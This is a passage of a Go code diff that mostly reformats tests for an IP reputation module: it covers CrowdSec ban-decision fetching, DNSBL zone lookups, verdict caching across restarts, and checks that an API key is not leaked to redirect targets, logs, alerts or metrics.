||||||
time.Sleep(time.Hour - time.Nanosecond)
|
time.Sleep(time.Hour - time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantDecision(
|
wantDecision(t, lists, "198.51.100.7",
|
||||||
t,
|
reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing})
|
||||||
lists,
|
|
||||||
"198.51.100.7",
|
|
||||||
reputation.Decision{
|
|
||||||
Expires: began.Add(time.Hour),
|
|
||||||
Scenario: probing,
|
|
||||||
},
|
|
||||||
)
|
|
||||||
|
|
||||||
time.Sleep(time.Nanosecond)
|
time.Sleep(time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
|
wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
|
||||||
wantDecision(
|
wantDecision(t, lists, suspect,
|
||||||
t,
|
reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual})
|
||||||
lists,
|
|
||||||
suspect,
|
|
||||||
reputation.Decision{
|
|
||||||
Expires: began.Add(6 * time.Hour),
|
|
||||||
Scenario: manual,
|
|
||||||
},
|
|
||||||
)
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -118,10 +96,7 @@ func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
|
|||||||
lists := start(t, e, crowdSecParams())
|
lists := start(t, e, crowdSecParams())
|
||||||
wantEngineFetches(t, e, 1)
|
wantEngineFetches(t, e, 1)
|
||||||
|
|
||||||
added := reputation.Decision{
|
added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing}
|
||||||
Expires: began.Add(2 * time.Hour),
|
|
||||||
Scenario: probing,
|
|
||||||
}
|
|
||||||
|
|
||||||
e.set(func(e *engine) {
|
e.set(func(e *engine) {
|
||||||
e.decisions = append(e.decisions,
|
e.decisions = append(e.decisions,
|
||||||
@@ -150,58 +125,23 @@ func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
|
|||||||
// 198.51.100.130 is held by a decision on its address that ends
|
// 198.51.100.130 is held by a decision on its address that ends
|
||||||
// after the one on its netblock, and 192.0.2.20 by one that ends
|
// after the one on its netblock, and 192.0.2.20 by one that ends
|
||||||
// before.
|
// before.
|
||||||
{
|
{rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)},
|
||||||
rangeScope,
|
|
||||||
"198.51.100.128/25",
|
|
||||||
ban,
|
|
||||||
sshBF,
|
|
||||||
began.Add(time.Hour),
|
|
||||||
},
|
|
||||||
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
|
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
|
||||||
{
|
{rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)},
|
||||||
rangeScope,
|
|
||||||
"192.0.2.0/24",
|
|
||||||
ban,
|
|
||||||
probing,
|
|
||||||
began.Add(5 * time.Hour),
|
|
||||||
},
|
|
||||||
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
|
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
|
||||||
}}
|
}}
|
||||||
lists := start(t, e, crowdSecParams())
|
lists := start(t, e, crowdSecParams())
|
||||||
|
|
||||||
wantDecision(
|
wantDecision(t, lists, suspect,
|
||||||
t,
|
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing})
|
||||||
lists,
|
wantDecision(t, lists, "198.51.100.130",
|
||||||
suspect,
|
reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing})
|
||||||
reputation.Decision{
|
wantDecision(t, lists, "192.0.2.20",
|
||||||
Expires: began.Add(4 * time.Hour),
|
reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing})
|
||||||
Scenario: probing,
|
|
||||||
},
|
|
||||||
)
|
|
||||||
wantDecision(
|
|
||||||
t,
|
|
||||||
lists,
|
|
||||||
"198.51.100.130",
|
|
||||||
reputation.Decision{
|
|
||||||
Expires: began.Add(3 * time.Hour),
|
|
||||||
Scenario: probing,
|
|
||||||
},
|
|
||||||
)
|
|
||||||
wantDecision(
|
|
||||||
t,
|
|
||||||
lists,
|
|
||||||
"192.0.2.20",
|
|
||||||
reputation.Decision{
|
|
||||||
Expires: began.Add(5 * time.Hour),
|
|
||||||
Scenario: probing,
|
|
||||||
},
|
|
||||||
)
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(
|
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -263,43 +203,27 @@ func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
|
|||||||
}
|
}
|
||||||
|
|
||||||
wantEngineFetches(t, e, 3)
|
wantEngineFetches(t, e, 3)
|
||||||
wantDecision(
|
wantDecision(t, lists, suspect,
|
||||||
t,
|
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF})
|
||||||
lists,
|
|
||||||
suspect,
|
|
||||||
reputation.Decision{
|
|
||||||
Expires: began.Add(4 * time.Hour),
|
|
||||||
Scenario: sshBF,
|
|
||||||
},
|
|
||||||
)
|
|
||||||
|
|
||||||
want := kept[0]
|
want := kept[0]
|
||||||
want.Tried = time.Now()
|
want.Tried = time.Now()
|
||||||
|
|
||||||
got := lists.Snapshot()
|
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
|
||||||
if !reflect.DeepEqual(got, []reputation.List{want}) {
|
t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
|
||||||
t.Errorf(
|
|
||||||
"lists %+v, want the first copy, last tried now, %+v",
|
|
||||||
got,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if n := lists.Failures(decisionsURL); n != 2 {
|
if lists.Failures(decisionsURL) != 2 {
|
||||||
t.Errorf("%d failures, want 2", n)
|
t.Errorf("%d failures, want 2", lists.Failures(decisionsURL))
|
||||||
}
|
}
|
||||||
|
|
||||||
// One alert for the first failure; the cooldown holds back the
|
// One alert for the first failure; the cooldown holds back the
|
||||||
// second.
|
// second.
|
||||||
failed := time.Now().Add(-time.Minute)
|
wantAlert(t, queue,
|
||||||
alert := fetchFailure(failed, decisionsURL, tc.error)
|
fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error))
|
||||||
wantAlert(t, queue, alert)
|
|
||||||
|
|
||||||
if !strings.Contains(
|
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
|
||||||
log.String(),
|
`"url":"`+decisionsURL+`","error":"`+tc.error) {
|
||||||
`"msg":"fetching a list failed",`+
|
|
||||||
`"url":"`+decisionsURL+`","error":"`+tc.error,
|
|
||||||
) {
|
|
||||||
t.Errorf("logged\n%s\nwant the failures", log.String())
|
t.Errorf("logged\n%s\nwant the failures", log.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -367,13 +291,9 @@ func crowdSecFailures() []crowdSecFailure {
|
|||||||
// other than its decision list, such as the one a redirect names, and that
|
// other than its decision list, such as the one a redirect names, and that
|
||||||
// the key is in none of what the fetches leave behind: log, the process
|
// the key is in none of what the fetches leave behind: log, the process
|
||||||
// log, the alerts waiting in queue, and the copies of lists, which
|
// log, the alerts waiting in queue, and the copies of lists, which
|
||||||
// lists.json keeps.
|
// reputation.json keeps.
|
||||||
func wantKeyNotShown(
|
func wantKeyNotShown(
|
||||||
t *testing.T,
|
t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
|
||||||
e *engine,
|
|
||||||
log string,
|
|
||||||
lists *reputation.Lists,
|
|
||||||
queue *alerts.Queue,
|
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -395,26 +315,18 @@ func wantKeyNotShown(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(
|
func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
began := time.Now()
|
began := time.Now()
|
||||||
e := &engine{key: engineKey, decisions: []decision{
|
e := &engine{key: engineKey, decisions: []decision{
|
||||||
{
|
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
|
||||||
rangeScope,
|
|
||||||
"198.51.100.0/24",
|
|
||||||
ban,
|
|
||||||
probing,
|
|
||||||
began.Add(time.Hour),
|
|
||||||
},
|
|
||||||
}}
|
}}
|
||||||
lists := start(t, e, crowdSecParams())
|
lists := start(t, e, crowdSecParams())
|
||||||
kept := lists.Snapshot()
|
kept := lists.Snapshot()
|
||||||
|
|
||||||
// Restarted half an hour later with what lists.json keeps, and
|
// Restarted half an hour later with what reputation.json keeps, and
|
||||||
// the engine down, the decision still bans, until the end it had at
|
// the engine down, the decision still bans, until the end it had at
|
||||||
// the fetch, half an hour on.
|
// the fetch, half an hour on.
|
||||||
time.Sleep(30 * time.Minute)
|
time.Sleep(30 * time.Minute)
|
||||||
@@ -430,10 +342,7 @@ func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(
|
|||||||
|
|
||||||
run(t, again)
|
run(t, again)
|
||||||
|
|
||||||
want := reputation.Decision{
|
want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}
|
||||||
Expires: began.Add(time.Hour),
|
|
||||||
Scenario: probing,
|
|
||||||
}
|
|
||||||
wantDecision(t, again, "198.51.100.7", want)
|
wantDecision(t, again, "198.51.100.7", want)
|
||||||
|
|
||||||
time.Sleep(30*time.Minute - time.Nanosecond)
|
time.Sleep(30*time.Minute - time.Nanosecond)
|
||||||
@@ -506,8 +415,7 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
|
|||||||
|
|
||||||
e.fetches++
|
e.fetches++
|
||||||
|
|
||||||
if req.URL.String() != decisionsURL &&
|
if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" {
|
||||||
req.Header.Get("X-Api-Key") != "" {
|
|
||||||
e.keySentTo = append(e.keySentTo, req.URL.String())
|
e.keySentTo = append(e.keySentTo, req.URL.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -517,9 +425,7 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
|
|||||||
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
|
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
|
||||||
status, body = http.StatusForbidden, `{"message":"access forbidden"}`
|
status, body = http.StatusForbidden, `{"message":"access forbidden"}`
|
||||||
case e.redirect != "":
|
case e.redirect != "":
|
||||||
status, header = http.StatusFound, http.Header{
|
status, header = http.StatusFound, http.Header{"Location": {e.redirect}}
|
||||||
"Location": {e.redirect},
|
|
||||||
}
|
|
||||||
case e.failing:
|
case e.failing:
|
||||||
status, body = http.StatusServiceUnavailable, ""
|
status, body = http.StatusServiceUnavailable, ""
|
||||||
case body == "":
|
case body == "":
|
||||||
@@ -543,9 +449,7 @@ func (e *engine) inForce(now time.Time) string {
|
|||||||
for _, d := range e.decisions {
|
for _, d := range e.decisions {
|
||||||
if now.Before(d.expires) {
|
if now.Before(d.expires) {
|
||||||
answer = append(answer, map[string]string{
|
answer = append(answer, map[string]string{
|
||||||
"duration": d.expires.Sub(now).
|
"duration": d.expires.Sub(now).String(), "origin": "crowdsec",
|
||||||
String(),
|
|
||||||
"origin": "crowdsec",
|
|
||||||
"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
|
"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -597,26 +501,13 @@ func wantEngineFetches(t *testing.T, e *engine, want int) {
|
|||||||
// wantDecision checks the decision lists says is in force on addr now,
|
// wantDecision checks the decision lists says is in force on addr now,
|
||||||
// the zero Decision for none.
|
// the zero Decision for none.
|
||||||
func wantDecision(
|
func wantDecision(
|
||||||
t *testing.T,
|
t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision,
|
||||||
lists *reputation.Lists,
|
|
||||||
addr string,
|
|
||||||
want reputation.Decision,
|
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got, listed := lists.CrowdSecDecision(
|
got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now())
|
||||||
netip.MustParseAddr(addr),
|
|
||||||
time.Now(),
|
|
||||||
)
|
|
||||||
if listed != !want.Expires.IsZero() ||
|
if listed != !want.Expires.IsZero() ||
|
||||||
listed &&
|
listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
|
||||||
(!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
|
t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want)
|
||||||
t.Errorf(
|
|
||||||
"%s has the decision %+v in force %t, want %+v",
|
|
||||||
addr,
|
|
||||||
got,
|
|
||||||
listed,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -40,7 +40,7 @@ var (
|
|||||||
errNotListing = errors.New("the answer is outside 127.0.0.0/8")
|
errNotListing = errors.New("the answer is outside 127.0.0.0/8")
|
||||||
)
|
)
|
||||||
|
|
||||||
// Verdict is what a zone said about a client, as dnsbl.json holds
|
// Verdict is what a zone said about a client, as reputation.json holds
|
||||||
// it: the zone, the client's address, whether the zone lists it, and when
|
// it: the zone, the client's address, whether the zone lists it, and when
|
||||||
// the zone answered.
|
// the zone answered.
|
||||||
type Verdict struct {
|
type Verdict struct {
|
||||||
@@ -187,7 +187,7 @@ func (d *DNSBL) Failures(zone string) int {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Snapshot returns every verdict still in use, sorted by client, then by
|
// Snapshot returns every verdict still in use, sorted by client, then by
|
||||||
// zone, as dnsbl.json lists them.
|
// zone, as reputation.json lists them.
|
||||||
func (d *DNSBL) Snapshot() []Verdict {
|
func (d *DNSBL) Snapshot() []Verdict {
|
||||||
d.mu.Lock()
|
d.mu.Lock()
|
||||||
|
|
||||||
@@ -203,16 +203,13 @@ func (d *DNSBL) Snapshot() []Verdict {
|
|||||||
d.mu.Unlock()
|
d.mu.Unlock()
|
||||||
|
|
||||||
slices.SortFunc(verdicts, func(a, b Verdict) int {
|
slices.SortFunc(verdicts, func(a, b Verdict) int {
|
||||||
return cmp.Or(
|
return cmp.Or(a.Client.Compare(b.Client), strings.Compare(a.Zone, b.Zone))
|
||||||
a.Client.Compare(b.Client),
|
|
||||||
strings.Compare(a.Zone, b.Zone),
|
|
||||||
)
|
|
||||||
})
|
})
|
||||||
|
|
||||||
return verdicts
|
return verdicts
|
||||||
}
|
}
|
||||||
|
|
||||||
// Load keeps verdicts, read from dnsbl.json, in place of those it
|
// Load keeps verdicts, read from reputation.json, in place of those it
|
||||||
// keeps, but for those of a zone SWW_DNSBL_ZONES does not name, and,
|
// keeps, but for those of a zone SWW_DNSBL_ZONES does not name, and,
|
||||||
// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
|
// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
|
||||||
// more is neither used nor written, as for any verdict.
|
// more is neither used nor written, as for any verdict.
|
||||||
@@ -278,11 +275,7 @@ func (d *DNSBL) lookUp(ctx context.Context, q query) (bool, error) {
|
|||||||
ctx, cancel := context.WithTimeout(ctx, d.params.Timeout)
|
ctx, cancel := context.WithTimeout(ctx, d.params.Timeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
answer, err := d.resolver.LookupNetIP(
|
answer, err := d.resolver.LookupNetIP(ctx, "ip4", queryName(q.zone, q.client))
|
||||||
ctx,
|
|
||||||
"ip4",
|
|
||||||
queryName(q.zone, q.client),
|
|
||||||
)
|
|
||||||
|
|
||||||
var dnsErr *net.DNSError
|
var dnsErr *net.DNSError
|
||||||
|
|
||||||
|
|||||||
@@ -73,11 +73,7 @@ func TestMain(m *testing.M) {
|
|||||||
return nil, errNoNetwork
|
return nil, errNoNetwork
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
_, _ = resolver.LookupNetIP(
|
_, _ = resolver.LookupNetIP(context.Background(), "ip4", "warm-up.invalid.")
|
||||||
context.Background(),
|
|
||||||
"ip4",
|
|
||||||
"warm-up.invalid.",
|
|
||||||
)
|
|
||||||
|
|
||||||
m.Run()
|
m.Run()
|
||||||
}
|
}
|
||||||
@@ -96,9 +92,7 @@ func TestZonesListOrNotClientsByTheirIPv4AndIPv6Addresses(t *testing.T) {
|
|||||||
|
|
||||||
resolver := &resolverStandIn{answers: map[string]answer{
|
resolver := &resolverStandIn{answers: map[string]answer{
|
||||||
"99.2.0.192." + zone + ".": {addrs: []string{listing}},
|
"99.2.0.192." + zone + ".": {addrs: []string{listing}},
|
||||||
v6Name + otherZone + ".": {
|
v6Name + otherZone + ".": {addrs: []string{"127.0.0.4", "127.0.0.10"}},
|
||||||
addrs: []string{"127.0.0.4", "127.0.0.10"},
|
|
||||||
},
|
|
||||||
"99.2.0.192." + otherZone + ".": {},
|
"99.2.0.192." + otherZone + ".": {},
|
||||||
}}
|
}}
|
||||||
dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
|
dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
|
||||||
@@ -137,11 +131,8 @@ func TestListedByNeverWaitsForAQuery(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
//
|
|
||||||
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
||||||
func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(
|
func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
resolver := &resolverStandIn{answers: map[string]answer{
|
resolver := &resolverStandIn{answers: map[string]answer{
|
||||||
listedName: {addrs: []string{listing}},
|
listedName: {addrs: []string{listing}},
|
||||||
@@ -207,11 +198,8 @@ func TestQueryNotAnsweredWithinTheTimeoutFails(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
//
|
|
||||||
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
//nolint:paralleltest // one at a time, as the comment at the top of this file says
|
||||||
func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(
|
func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
name string
|
name string
|
||||||
answer answer
|
answer answer
|
||||||
@@ -242,12 +230,9 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(
|
|||||||
p := dnsblParams(zone)
|
p := dnsblParams(zone)
|
||||||
p.Alerts = queue
|
p.Alerts = queue
|
||||||
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
||||||
dnsbl := newDNSBL(
|
dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{
|
||||||
&resolverStandIn{answers: map[string]answer{
|
|
||||||
listedName: tc.answer,
|
listedName: tc.answer,
|
||||||
}},
|
}}, p)
|
||||||
p,
|
|
||||||
)
|
|
||||||
|
|
||||||
// The failure gives no verdict, and the zone is not asked
|
// The failure gives no verdict, and the zone is not asked
|
||||||
// again within a minute of it.
|
// again within a minute of it.
|
||||||
@@ -273,17 +258,11 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(
|
|||||||
Time: time.Now().Add(-time.Minute),
|
Time: time.Now().Add(-time.Minute),
|
||||||
Event: alerts.EventSourceFailure,
|
Event: alerts.EventSourceFailure,
|
||||||
Reason: "asking a DNSBL zone failed",
|
Reason: "asking a DNSBL zone failed",
|
||||||
Detail: map[string]any{
|
Detail: map[string]any{"source": zone, "error": tc.error},
|
||||||
"source": zone,
|
|
||||||
"error": tc.error,
|
|
||||||
},
|
|
||||||
})
|
})
|
||||||
|
|
||||||
if !strings.Contains(
|
if !strings.Contains(log.String(), `"msg":"asking a DNSBL zone failed",`+
|
||||||
log.String(),
|
`"zone":"`+zone+`","error":"`+tc.error) {
|
||||||
`"msg":"asking a DNSBL zone failed",`+
|
|
||||||
`"zone":"`+zone+`","error":"`+tc.error,
|
|
||||||
) {
|
|
||||||
t.Errorf("logged\n%s\nwant the failures", log.String())
|
t.Errorf("logged\n%s\nwant the failures", log.String())
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -323,11 +302,8 @@ func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) {
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
scraped := httptest.NewRecorder()
|
scraped := httptest.NewRecorder()
|
||||||
m.ServeHTTP(
|
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
||||||
scraped,
|
"/", http.NoBody))
|
||||||
httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
|
||||||
"/", http.NoBody),
|
|
||||||
)
|
|
||||||
|
|
||||||
for series, want := range map[string]string{
|
for series, want := range map[string]string{
|
||||||
"queries_total" + `{instance="app",source="` + zone + `"}`: "1",
|
"queries_total" + `{instance="app",source="` + zone + `"}`: "1",
|
||||||
@@ -372,32 +348,19 @@ func TestZoneKeyIsMaskedInTheVerdictsTheFailuresAndTheMetrics(t *testing.T) {
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantZones(t, dnsbl, listed, masked)
|
wantZones(t, dnsbl, listed, masked)
|
||||||
|
|
||||||
if got := waiting(queue); len(got) != 1 ||
|
if got := waiting(queue); len(got) != 1 || got[0].Detail["source"] != masked {
|
||||||
got[0].Detail["source"] != masked {
|
t.Errorf("alerts waiting %+v, want the failure's, from %s", got, masked)
|
||||||
t.Errorf(
|
|
||||||
"alerts waiting %+v, want the failure's, from %s",
|
|
||||||
got,
|
|
||||||
masked,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
scraped := httptest.NewRecorder()
|
scraped := httptest.NewRecorder()
|
||||||
m.ServeHTTP(
|
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
||||||
scraped,
|
"/", http.NoBody))
|
||||||
httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
|
||||||
"/", http.NoBody),
|
|
||||||
)
|
|
||||||
|
|
||||||
for name, shown := range map[string]string{
|
for name, shown := range map[string]string{
|
||||||
"the log": log.String(), "the metrics": scraped.Body.String(),
|
"the log": log.String(), "the metrics": scraped.Body.String(),
|
||||||
} {
|
} {
|
||||||
if strings.Contains(shown, key) ||
|
if strings.Contains(shown, key) || !strings.Contains(shown, masked) {
|
||||||
!strings.Contains(shown, masked) {
|
t.Errorf("%s shows the key, or does not name the zone:\n%s", name, shown)
|
||||||
t.Errorf(
|
|
||||||
"%s shows the key, or does not name the zone:\n%s",
|
|
||||||
name,
|
|
||||||
shown,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -419,23 +382,14 @@ func TestVerdictsKeptAcrossARestart(t *testing.T) {
|
|||||||
kept := dnsbl.Snapshot()
|
kept := dnsbl.Snapshot()
|
||||||
|
|
||||||
want := []reputation.Verdict{
|
want := []reputation.Verdict{
|
||||||
{
|
{Zone: zone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: fetched},
|
||||||
Zone: zone,
|
{Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: fetched},
|
||||||
Client: netip.MustParseAddr(listed),
|
|
||||||
Listed: true,
|
|
||||||
Fetched: fetched,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
Zone: zone,
|
|
||||||
Client: netip.MustParseAddr(unlisted),
|
|
||||||
Fetched: fetched,
|
|
||||||
},
|
|
||||||
}
|
}
|
||||||
if !reflect.DeepEqual(kept, want) {
|
if !reflect.DeepEqual(kept, want) {
|
||||||
t.Errorf("verdicts %+v, want %+v", kept, want)
|
t.Errorf("verdicts %+v, want %+v", kept, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Restarted an hour later with what dnsbl.json keeps, it uses
|
// Restarted an hour later with what reputation.json keeps, it uses
|
||||||
// the verdicts, and asks the zone nothing, until the TTL has passed
|
// the verdicts, and asks the zone nothing, until the TTL has passed
|
||||||
// since they were fetched.
|
// since they were fetched.
|
||||||
time.Sleep(time.Hour)
|
time.Sleep(time.Hour)
|
||||||
@@ -479,17 +433,12 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
|
|||||||
|
|
||||||
dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse})
|
dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse})
|
||||||
|
|
||||||
if got := dnsbl.Snapshot(); !reflect.DeepEqual(
|
if got := dnsbl.Snapshot(); !reflect.DeepEqual(got, []reputation.Verdict{inUse}) {
|
||||||
got,
|
|
||||||
[]reputation.Verdict{inUse},
|
|
||||||
) {
|
|
||||||
t.Errorf("verdicts %+v, want only %+v", got, inUse)
|
t.Errorf("verdicts %+v, want only %+v", got, inUse)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(
|
func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
|
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
|
||||||
@@ -497,7 +446,7 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(
|
|||||||
p.Now = func() time.Time { return now }
|
p.Now = func() time.Time { return now }
|
||||||
dnsbl := reputation.NewDNSBL(p)
|
dnsbl := reputation.NewDNSBL(p)
|
||||||
|
|
||||||
// 100,001 verdicts, listed by client, as dnsbl.json lists them,
|
// 100,001 verdicts, listed by client, as reputation.json lists them,
|
||||||
// each fetched a millisecond before the one before it: the last is one
|
// each fetched a millisecond before the one before it: the last is one
|
||||||
// too many.
|
// too many.
|
||||||
const count = 100001
|
const count = 100001
|
||||||
@@ -517,10 +466,7 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(
|
|||||||
got := dnsbl.Snapshot()
|
got := dnsbl.Snapshot()
|
||||||
if len(got) != count-1 || !slices.Contains(got, verdicts[0]) ||
|
if len(got) != count-1 || !slices.Contains(got, verdicts[0]) ||
|
||||||
slices.Contains(got, verdicts[count-1]) {
|
slices.Contains(got, verdicts[count-1]) {
|
||||||
t.Errorf(
|
t.Errorf("%d verdicts kept, want all but the one fetched longest ago", len(got))
|
||||||
"%d verdicts kept, want all but the one fetched longest ago",
|
|
||||||
len(got),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -530,11 +476,7 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
|
|||||||
listedName: {addrs: []string{listing}},
|
listedName: {addrs: []string{listing}},
|
||||||
}}
|
}}
|
||||||
|
|
||||||
conn, err := (&net.ListenConfig{}).ListenPacket(
|
conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", "127.0.0.1:0")
|
||||||
t.Context(),
|
|
||||||
"udp",
|
|
||||||
"127.0.0.1:0",
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -558,8 +500,7 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
|
|||||||
// process held up for a whole minute would see the query fail.
|
// process held up for a whole minute would see the query fail.
|
||||||
p.Timeout = time.Minute
|
p.Timeout = time.Minute
|
||||||
|
|
||||||
isListed, err := reputation.NewDNSBL(p).
|
isListed, err := reputation.NewDNSBL(p).LookUp(zone, netip.MustParseAddr(listed))
|
||||||
LookUp(zone, netip.MustParseAddr(listed))
|
|
||||||
if err != nil || !isListed {
|
if err != nil || !isListed {
|
||||||
t.Errorf("listed %t (%v), want true", isListed, err)
|
t.Errorf("listed %t (%v), want true", isListed, err)
|
||||||
}
|
}
|
||||||
@@ -613,11 +554,7 @@ func (s *resolverStandIn) set(name string, given answer) {
|
|||||||
// dial connects Go's resolver to the stand-in through an in-memory
|
// dial connects Go's resolver to the stand-in through an in-memory
|
||||||
// connection, on which it sends each query, and reads each reply, after
|
// connection, on which it sends each query, and reads each reply, after
|
||||||
